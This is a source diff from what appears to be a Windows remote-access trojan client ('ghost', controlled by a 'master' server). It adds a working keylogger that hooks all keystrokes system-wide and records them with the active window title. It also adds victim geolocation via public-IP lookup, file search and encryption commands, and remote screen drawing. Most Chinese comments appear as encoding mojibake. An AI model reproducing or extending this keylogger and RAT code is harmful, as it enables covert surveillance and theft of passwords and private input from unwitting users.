<LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -180,8 +180,10 @@
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
@@ -209,8 +211,10 @@
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
|
||||
4
client/ghost_vs2015.vcxproj.user
Normal file
4
client/ghost_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
217
client/keylogger.cpp
Normal file
217
client/keylogger.cpp
Normal file
@@ -0,0 +1,217 @@
|
||||
#include "keylogger.h"
|
||||
#include <cstring>
|
||||
#include <cstdio>
|
||||
#include <time.h>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <map>
|
||||
#include <string>
|
||||
|
||||
#if USING_KB_HOOK
|
||||
|
||||
// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
|
||||
// 2024/02/07 source code last modified
|
||||
// 2025/02/24 this file last modified
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// defines whether the window is visible or not
|
||||
// should be solved with makefile, not in this file
|
||||
#define visible // (visible / invisible)
|
||||
// Defines whether you want to enable or disable
|
||||
// boot time waiting if running at system boot.
|
||||
#define bootwait // (bootwait / nowait)
|
||||
// defines which format to use for logging
|
||||
// 0 for default, 10 for dec codes, 16 for hex codex
|
||||
#define FORMAT 0
|
||||
// defines if ignore mouseclicks
|
||||
#define mouseignore
|
||||
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
|
||||
// or you will get problems since every function uses this variable.
|
||||
|
||||
#if FORMAT == 0
|
||||
const std::map<int, std::string> keyname{
|
||||
{VK_BACK, "[BACKSPACE]" },
|
||||
{VK_RETURN, "\n" },
|
||||
{VK_SPACE, "_" },
|
||||
{VK_TAB, "[TAB]" },
|
||||
{VK_SHIFT, "[SHIFT]" },
|
||||
{VK_LSHIFT, "[LSHIFT]" },
|
||||
{VK_RSHIFT, "[RSHIFT]" },
|
||||
{VK_CONTROL, "[CONTROL]" },
|
||||
{VK_LCONTROL, "[LCONTROL]" },
|
||||
{VK_RCONTROL, "[RCONTROL]" },
|
||||
{VK_MENU, "[ALT]" },
|
||||
{VK_LWIN, "[LWIN]" },
|
||||
{VK_RWIN, "[RWIN]" },
|
||||
{VK_ESCAPE, "[ESCAPE]" },
|
||||
{VK_END, "[END]" },
|
||||
{VK_HOME, "[HOME]" },
|
||||
{VK_LEFT, "[LEFT]" },
|
||||
{VK_RIGHT, "[RIGHT]" },
|
||||
{VK_UP, "[UP]" },
|
||||
{VK_DOWN, "[DOWN]" },
|
||||
{VK_PRIOR, "[PG_UP]" },
|
||||
{VK_NEXT, "[PG_DOWN]" },
|
||||
{VK_OEM_PERIOD, "." },
|
||||
{VK_DECIMAL, "." },
|
||||
{VK_OEM_PLUS, "+" },
|
||||
{VK_OEM_MINUS, "-" },
|
||||
{VK_ADD, "+" },
|
||||
{VK_SUBTRACT, "-" },
|
||||
{VK_CAPITAL, "[CAPSLOCK]" },
|
||||
};
|
||||
#endif
|
||||
|
||||
// A callback function for processing record by user.
|
||||
typedef int (CALLBACK* Callback)(const char* record, void* user);
|
||||
|
||||
// Global variables.
|
||||
|
||||
HHOOK _hook = NULL;
|
||||
Callback _cllback = NULL;
|
||||
void* _user = NULL;
|
||||
|
||||
// Save parse keyboard information and use callback to process record.
|
||||
int Save(int key_stroke)
|
||||
{
|
||||
std::stringstream output;
|
||||
static char lastwindow[MAX_PATH] = {};
|
||||
#ifndef mouseignore
|
||||
if ((key_stroke == 1) || (key_stroke == 2))
|
||||
{
|
||||
return 0; // ignore mouse clicks
|
||||
}
|
||||
#endif
|
||||
HWND foreground = GetForegroundWindow();
|
||||
HKL layout = NULL;
|
||||
|
||||
if (foreground)
|
||||
{
|
||||
// get keyboard layout of the thread
|
||||
GET_PROCESS_EASY(GetWindowThreadProcessId);
|
||||
DWORD threadID = GetWindowThreadProcessId(foreground, NULL);
|
||||
GET_PROCESS_EASY(GetKeyboardLayout);
|
||||
layout = GetKeyboardLayout(threadID);
|
||||
}
|
||||
|
||||
if (foreground)
|
||||
{
|
||||
char window_title[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextA);
|
||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
||||
|
||||
if (strcmp(window_title, lastwindow) != 0)
|
||||
{
|
||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||
// get time
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
char tm[64];
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||
s.wHour, s.wMinute, s.wSecond);
|
||||
|
||||
output << "\r\n\r\n[<5B><><EFBFBD><EFBFBD>:] " << window_title << "\r\n[ʱ<><CAB1>:]" << tm << "\r\n[<5B><><EFBFBD><EFBFBD>:]";
|
||||
}
|
||||
}
|
||||
|
||||
#if FORMAT == 10
|
||||
output << '[' << key_stroke << ']';
|
||||
#elif FORMAT == 16
|
||||
output << std::hex << "[" << key_stroke << ']';
|
||||
#else
|
||||
if (keyname.find(key_stroke) != keyname.end())
|
||||
{
|
||||
output << keyname.at(key_stroke);
|
||||
}
|
||||
else
|
||||
{
|
||||
GET_PROCESS_EASY(GetKeyState);
|
||||
// check caps lock
|
||||
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
|
||||
|
||||
// check shift key
|
||||
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|
||||
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
|
||||
{
|
||||
lowercase = !lowercase;
|
||||
}
|
||||
|
||||
// map virtual key according to keyboard layout
|
||||
GET_PROCESS_EASY(MapVirtualKeyExA);
|
||||
char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
|
||||
|
||||
// tolower converts it to lowercase properly
|
||||
if (!lowercase)
|
||||
{
|
||||
key = tolower(key);
|
||||
}
|
||||
output << char(key);
|
||||
}
|
||||
#endif
|
||||
// instead of opening and closing file handlers every time, keep file open and flush.
|
||||
if (NULL != _cllback)
|
||||
{
|
||||
_cllback(output.str().c_str(), _user);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// This is the callback function. Consider it the event that is raised when, in this case,
|
||||
// a key is pressed.
|
||||
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (nCode >= 0)
|
||||
{
|
||||
// the action is valid: HC_ACTION.
|
||||
if (wParam == WM_KEYDOWN)
|
||||
{
|
||||
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
|
||||
// This struct contains the data received by the hook callback. As you see in the callback function
|
||||
// it contains the thing you will need: vkCode = virtual key code.
|
||||
KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
|
||||
|
||||
// save to file
|
||||
Save(kbdStruct.vkCode);
|
||||
}
|
||||
}
|
||||
|
||||
// call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops
|
||||
GET_PROCESS_EASY(CallNextHookEx);
|
||||
return CallNextHookEx(_hook, nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
// Set the hook and set it to use the callback function provided.
|
||||
bool SetHook(Callback callback, void* user)
|
||||
{
|
||||
if (NULL != _hook)
|
||||
return true;
|
||||
|
||||
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
|
||||
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
|
||||
// function that sets and releases the hook.
|
||||
GET_PROCESS_EASY(SetWindowsHookExA);
|
||||
if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
|
||||
{
|
||||
_cllback = callback;
|
||||
_user = user;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Release the hook.
|
||||
void ReleaseHook()
|
||||
{
|
||||
if (NULL != _hook)
|
||||
{
|
||||
GET_PROCESS_EASY(UnhookWindowsHookEx);
|
||||
UnhookWindowsHookEx(_hook);
|
||||
_hook = NULL;
|
||||
_cllback = NULL;
|
||||
_user = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
15
client/keylogger.h
Normal file
15
client/keylogger.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ȫ<EFBFBD>ּ<EFBFBD><D6BC>̹<EFBFBD><CCB9><EFBFBD>
|
||||
#define USING_KB_HOOK 1
|
||||
|
||||
#define GET_PROCESS_EASY(p)
|
||||
#define GET_PROCESS(p, q)
|
||||
|
||||
typedef int (CALLBACK* Callback)(const char* record, void* user);
|
||||
|
||||
bool SetHook(Callback callback, void* user);
|
||||
|
||||
void ReleaseHook();
|
||||
@@ -5,6 +5,7 @@
|
||||
#include <WS2tcpip.h>
|
||||
#include <common/commands.h>
|
||||
#include "common/dllRunner.h"
|
||||
#include <common/iniFile.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
@@ -382,8 +383,9 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
port = argv2;
|
||||
}
|
||||
else {
|
||||
GetPrivateProfileStringA("settings", "master", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||||
config cfg;
|
||||
strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str());
|
||||
port = cfg.Get1Int("settings", "ghost", ';', 6543);
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", ip, port);
|
||||
do
|
||||
|
||||
@@ -11,6 +11,8 @@
|
||||
#include <chrono>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <concrt.h>
|
||||
#include <corecrt_io.h>
|
||||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||||
@@ -78,6 +80,12 @@ typedef void* LPVOID, * HANDLE;
|
||||
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
||||
#endif
|
||||
|
||||
inline int isValid_60s() {
|
||||
static time_t tm = time(nullptr);
|
||||
int span = int(time(nullptr) - tm);
|
||||
return span <= 60;
|
||||
}
|
||||
|
||||
inline int isValid_30s() {
|
||||
static time_t tm = time(nullptr);
|
||||
int span = int(time(nullptr) - tm);
|
||||
@@ -224,6 +232,8 @@ enum
|
||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
|
||||
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
|
||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>)
|
||||
TOKEN_DRAWING_BOARD=151, // <20><><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
@@ -380,6 +390,61 @@ enum ChatManager {
|
||||
COMMAND_CHAT_SCREEN_UNLOCK,
|
||||
};
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum FileManager {
|
||||
COMMAND_COMPRESS_FILE_PARAM=220,
|
||||
COMMAND_FILES_SEARCH_START,
|
||||
COMMAND_FILES_SEARCH_STOP,
|
||||
COMMAND_FILE_EXCEPTION,
|
||||
COMMAND_SEARCH_FILE,
|
||||
COMMAND_FILE_GETNETHOOD,
|
||||
COMMAND_FILE_RECENT,
|
||||
COMMAND_FILE_INFO,
|
||||
COMMAND_FILE_Encryption,
|
||||
COMMAND_FILE_Decrypt,
|
||||
COMMAND_FILE_ENFOCE,
|
||||
COMMAND_FILE_CopyFile,
|
||||
COMMAND_FILE_PasteFile,
|
||||
COMMAND_FILE_zip,
|
||||
COMMAND_FILE_zip_stop,
|
||||
COMMAND_FILE_NO_ENFORCE,
|
||||
COMMAND_FILE_GETINFO,
|
||||
|
||||
COMMAND_FILE_SEARCHPLUS_LIST,
|
||||
|
||||
TOKEN_SEARCH_FILE_LIST,
|
||||
TOKEN_SEARCH_FILE_FINISH,
|
||||
TOKEN_CFileManagerDlg_DATA_CONTINUE,
|
||||
TOKEN_COMPRESS_FINISH,
|
||||
TOKEN_SEARCH_ADD,
|
||||
TOKEN_SEARCH_END,
|
||||
TOKEN_FILE_GETNETHOOD,
|
||||
TOKEN_FILE_RECENT,
|
||||
TOKEN_FILE_INFO,
|
||||
TOKEN_FILE_REFRESH,
|
||||
TOKEN_FILE_ZIPOK,
|
||||
TOKEN_FILE_GETINFO,
|
||||
|
||||
TOKEN_FILE_SEARCHPLUS_LIST,
|
||||
TOKEN_FILE_SEARCHPLUS_NONTFS,
|
||||
TOKEN_FILE_SEARCHPLUS_HANDLE,
|
||||
TOKEN_FILE_SEARCHPLUS_INITUSN,
|
||||
TOKEN_FILE_SEARCHPLUS_GETUSN,
|
||||
TOKEN_FILE_SEARCHPLUS_NUMBER,
|
||||
};
|
||||
|
||||
// Զ<>̻<EFBFBD><CCBB><EFBFBD>
|
||||
enum RemoteDraw {
|
||||
CMD_DRAW_POINT = 0,
|
||||
CMD_DRAW_END = 1,
|
||||
CMD_TRANSPORT = 2,
|
||||
CMD_TOPMOST = 3,
|
||||
CMD_MOVEWINDOW = 4,
|
||||
CMD_SET_SIZE = 5,
|
||||
CMD_DRAW_CLEAR = 6,
|
||||
CMD_DRAW_TEXT = 7,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
@@ -567,6 +632,8 @@ public:
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
#define FOREVER_RUN 2
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
|
||||
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
|
||||
struct ThreadInfo
|
||||
@@ -577,6 +644,18 @@ struct ThreadInfo
|
||||
void* user;
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||||
void Exit(int wait_sec = 15) {
|
||||
run = 0;
|
||||
for (int count = 0; p && count++ < wait_sec; Sleep(1000));
|
||||
#ifdef _WIN32
|
||||
if (p) TerminateThread(h, 0x20250626);
|
||||
if (p) CloseHandle(h);
|
||||
#endif
|
||||
p = NULL;
|
||||
h = NULL;
|
||||
user = NULL;
|
||||
conn = NULL;
|
||||
}
|
||||
};
|
||||
|
||||
struct PluginParam {
|
||||
@@ -617,6 +696,8 @@ enum LOGIN_RES {
|
||||
RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ
|
||||
RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
||||
RES_MAX,
|
||||
};
|
||||
|
||||
@@ -794,8 +875,8 @@ typedef struct Validation {
|
||||
char To[20]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char Admin[100]; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>صĹ<D8B5><C4B9><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7>
|
||||
int Port; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD>˿ڣ<CBBF>Ĭ<EFBFBD>ϵ<EFBFBD>ǰ<EFBFBD>˿ڣ<CBBF>
|
||||
char Reserved[16]; // Ԥ<><D4A4><EFBFBD>ֶ<EFBFBD>
|
||||
Validation(float days, const char* admin, int port) {
|
||||
char Checksum[16]; // Ԥ<><D4A4><EFBFBD>ֶ<EFBFBD>
|
||||
Validation(float days, const char* admin, int port, const char* id="") {
|
||||
time_t from = time(NULL), to = from + time_t(86400 * days);
|
||||
memset(this, 0, sizeof(Validation));
|
||||
std::string fromStr = ToPekingTimeAsString(&from);
|
||||
@@ -804,6 +885,7 @@ typedef struct Validation {
|
||||
strcpy_s(To, toStr.c_str());
|
||||
strcpy_s(Admin, admin);
|
||||
Port = port;
|
||||
if(strlen(id))memcpy(Checksum, id, 16);
|
||||
}
|
||||
bool IsValid() const {
|
||||
std::string now = ToPekingTimeAsString(NULL);
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
#define YAMA_PATH "Software\\YAMA"
|
||||
#define CLIENT_PATH "Software\\ServerD11"
|
||||
|
||||
class config
|
||||
{
|
||||
private:
|
||||
@@ -21,6 +24,14 @@ public:
|
||||
return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath);
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĵ<D0B5>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0)
|
||||
{
|
||||
std::string s = GetStr(MainKey, SubKey, "");
|
||||
s = StringToVector(s, ch)[0];
|
||||
return s.empty() ? nDef : atoi(s.c_str());
|
||||
}
|
||||
|
||||
virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data)
|
||||
{
|
||||
std::string strData = std::to_string(Data);
|
||||
@@ -49,10 +60,10 @@ private:
|
||||
public:
|
||||
~iniFile() {}
|
||||
|
||||
iniFile()
|
||||
iniFile(const std::string& path = YAMA_PATH)
|
||||
{
|
||||
m_hRootKey = HKEY_CURRENT_USER;
|
||||
m_SubKeyPath = "Software\\YAMA";
|
||||
m_SubKeyPath = path;
|
||||
}
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>дΪ<D0B4>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
|
||||
205
common/location.h
Normal file
205
common/location.h
Normal file
@@ -0,0 +1,205 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <WinInet.h>
|
||||
#include "logger.h"
|
||||
#include "jsoncpp/json.h"
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma comment(lib, "Iphlpapi.lib")
|
||||
|
||||
inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
|
||||
size_t pos = input.find(':');
|
||||
if (pos != std::string::npos) {
|
||||
ip = input.substr(0, pos);
|
||||
port = input.substr(pos + 1);
|
||||
}
|
||||
else {
|
||||
ip = input;
|
||||
port = "";
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* IPConverter: IP <20><><EFBFBD><EFBFBD><EFBFBD>࣬<EFBFBD><E0A3AC><EFBFBD>ڻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD>ȡIP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD><C4B5><EFBFBD>λ<EFBFBD>õ<EFBFBD>.
|
||||
* Ŀǰ<C4BF><C7B0>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>API<50><49><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD>ѯ<EFBFBD><D1AF>վ<EFBFBD><D5BE><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||
*/
|
||||
class IPConverter
|
||||
{
|
||||
public:
|
||||
std::string IPtoAddress(const std::string& ip) { return "implement me"; }
|
||||
|
||||
/**
|
||||
* <20>жϸ<D0B6><CFB8><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||
* @param ipAddress IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "192.168.1.1"<22><>
|
||||
* @return <20><><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD> IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> true; <20><><EFBFBD><EFBFBD> false
|
||||
*/
|
||||
bool IsPrivateIP(const std::string& ipAddress) {
|
||||
// <20><> IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ʽ
|
||||
in_addr addr;
|
||||
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
|
||||
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַת<D6B7><D7AA>Ϊ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
unsigned long ip = ntohl(addr.s_addr);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7>
|
||||
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
|
||||
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
|
||||
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
|
||||
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
std::string GetLocalLocation() {
|
||||
return GetGeoLocation(getPublicIP());
|
||||
}
|
||||
|
||||
// <20><>ȡ IP <20><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>(<28><><EFBFBD><EFBFBD>[ipinfo.io])
|
||||
std::string GetGeoLocation(const std::string& IP) {
|
||||
if (IP.empty()) return "";
|
||||
|
||||
std::string ip = IP;
|
||||
if (isLocalIP(ip)) {
|
||||
ip = getPublicIP();
|
||||
if (ip.empty())
|
||||
return "";
|
||||
}
|
||||
|
||||
HINTERNET hInternet, hConnect;
|
||||
DWORD bytesRead;
|
||||
std::string readBuffer;
|
||||
|
||||
// <20><>ʼ<EFBFBD><CABC> WinINet
|
||||
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (hInternet == NULL) {
|
||||
Mprintf("InternetOpen failed! %d\n", GetLastError());
|
||||
return "";
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> HTTP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
std::string url = "http://ipinfo.io/" + ip + "/json";
|
||||
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||
if (hConnect == NULL) {
|
||||
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
|
||||
InternetCloseHandle(hInternet);
|
||||
return "";
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
char buffer[4096];
|
||||
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
|
||||
readBuffer.append(buffer, bytesRead);
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> JSON <20><>Ӧ
|
||||
Json::Value jsonData;
|
||||
Json::Reader jsonReader;
|
||||
std::string location;
|
||||
|
||||
if (jsonReader.parse(readBuffer, jsonData)) {
|
||||
std::string country = jsonData["country"].asString();
|
||||
std::string city = jsonData["city"].asString();
|
||||
std::string loc = jsonData["loc"].asString(); // <20><>γ<EFBFBD><CEB3><EFBFBD><EFBFBD>Ϣ
|
||||
if (city.empty() && country.empty()) {
|
||||
}
|
||||
else if (city.empty()) {
|
||||
location = country;
|
||||
}
|
||||
else if (country.empty()) {
|
||||
location = city;
|
||||
}
|
||||
else {
|
||||
location = city + ", " + country;
|
||||
}
|
||||
if (location.empty() && IsPrivateIP(ip)) {
|
||||
location = "Local Area Network";
|
||||
}
|
||||
}
|
||||
else {
|
||||
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
|
||||
}
|
||||
|
||||
// <20>رվ<D8B1><D5BE><EFBFBD>
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return location;
|
||||
}
|
||||
|
||||
bool isLoopbackAddress(const std::string& ip) {
|
||||
return (ip == "127.0.0.1" || ip == "::1");
|
||||
}
|
||||
|
||||
bool isLocalIP(const std::string& ip) {
|
||||
if (isLoopbackAddress(ip)) return true; // <20>ȼ<EFBFBD><C8BC><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>ַ
|
||||
|
||||
ULONG outBufLen = 15000;
|
||||
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
